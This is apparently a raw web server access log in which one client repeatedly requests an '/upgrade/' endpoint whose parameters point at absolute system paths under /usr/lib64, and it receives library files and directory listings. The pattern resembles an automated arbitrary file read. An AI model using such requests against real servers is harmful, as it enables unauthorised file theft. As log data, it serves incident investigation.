45.135.193.11 - - [11/Sep/2026:23:01:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkadm5srv_mit.so.12.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 154459 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkadm5srv_mit.so.12.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnfnetlink.so.0.2.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 117495 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnfnetlink.so.0.2.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsysfs.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 123013 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsysfs.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses++.so.6.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103415 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses++.so.6.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-hostconfig.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 177606 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-hostconfig.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtermcap.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103914 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtermcap.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXdamage.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108866 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXdamage.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlicommon.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 174406 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlicommon.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlicommon.so.1.0.9&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 173583 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlicommon.so.1.0.9&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrypto.so.3.5.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 2420296 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrypto.so.3.5.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblber-2.4.so.2.0.200&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106088 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblber-2.4.so.2.0.200&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpspell.so.15.3.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106244 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpspell.so.15.3.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsigsegv.so.2.0.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110464 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsigsegv.so.2.0.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpmux.so.3.0.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 124590 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpmux.so.3.0.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibImath-3_1.so.29&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 170366 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibImath-3_1.so.29&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgpgme.so.11.24.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 265170 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgpgme.so.11.24.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcreposix.so.0.0.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108424 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcreposix.so.0.0.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_openssl.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106302 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_openssl.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:13 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Flibibverbs HTTP/1.1" 200 7078 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Flibibverbs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfastjson.so.4.3.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 125962 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfastjson.so.4.3.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfido2.so.1.13.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 200478 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfido2.so.1.13.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfontconfig.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 253593 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfontconfig.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-8.so.0.11.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 362472 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-8.so.0.11.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsoup-2.4.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 390820 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsoup-2.4.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtdb.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 147296 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtdb.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibassuan.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 141986 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibassuan.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibboost_wserialization.so.1.75.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 166140 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibboost_wserialization.so.1.75.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_core.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 204437 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_core.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhwy_contrib.so.1.3.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1683009 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhwy_contrib.so.1.3.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibldacBT_abr.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107388 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibldacBT_abr.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprocps.so.8.0.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 138550 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprocps.so.8.0.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibraw_r.so.23&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 495431 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibraw_r.so.23&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:19 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fdovecot HTTP/1.1" 200 10351 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fdovecot" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdnf.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 772299 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdnf.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgailutil-3.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116957 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgailutil-3.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 185879 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-credentials.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 148074 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-credentials.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsnappy.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 123250 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsnappy.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtevent-util.so.0.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110903 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtevent-util.so.0.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:22 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fgraphviz HTTP/1.1" 200 7405 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fgraphviz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXext.so.6.4.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 136228 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXext.so.6.4.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcap-ng.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116017 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcap-ng.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibctf-nobfd.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 156206 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibctf-nobfd.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdconf.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 132776 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdconf.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibseccomp.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153332 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibseccomp.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-glx.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 130973 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-glx.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibimaevm.so.5.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115649 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibimaevm.so.5.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibk5crypto.so.3.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 142350 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibk5crypto.so.3.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibc.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 104053 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibc.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgettextpo.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 270725 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgettextpo.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibibverbs.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 164520 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibibverbs.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtdsodbc.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 338228 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtdsodbc.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:27 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fkrb5 HTTP/1.1" 200 5941 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fkrb5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatk-1.0.so.0.23609.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 162987 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatk-1.0.so.0.23609.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavahi-glib.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109509 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavahi-glib.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_core-2.1.so.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 204363 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_core-2.1.so.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibform.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 135926 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibform.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibreadline.so.8&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 253206 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibreadline.so.8&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-randr.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 122374 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-randr.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
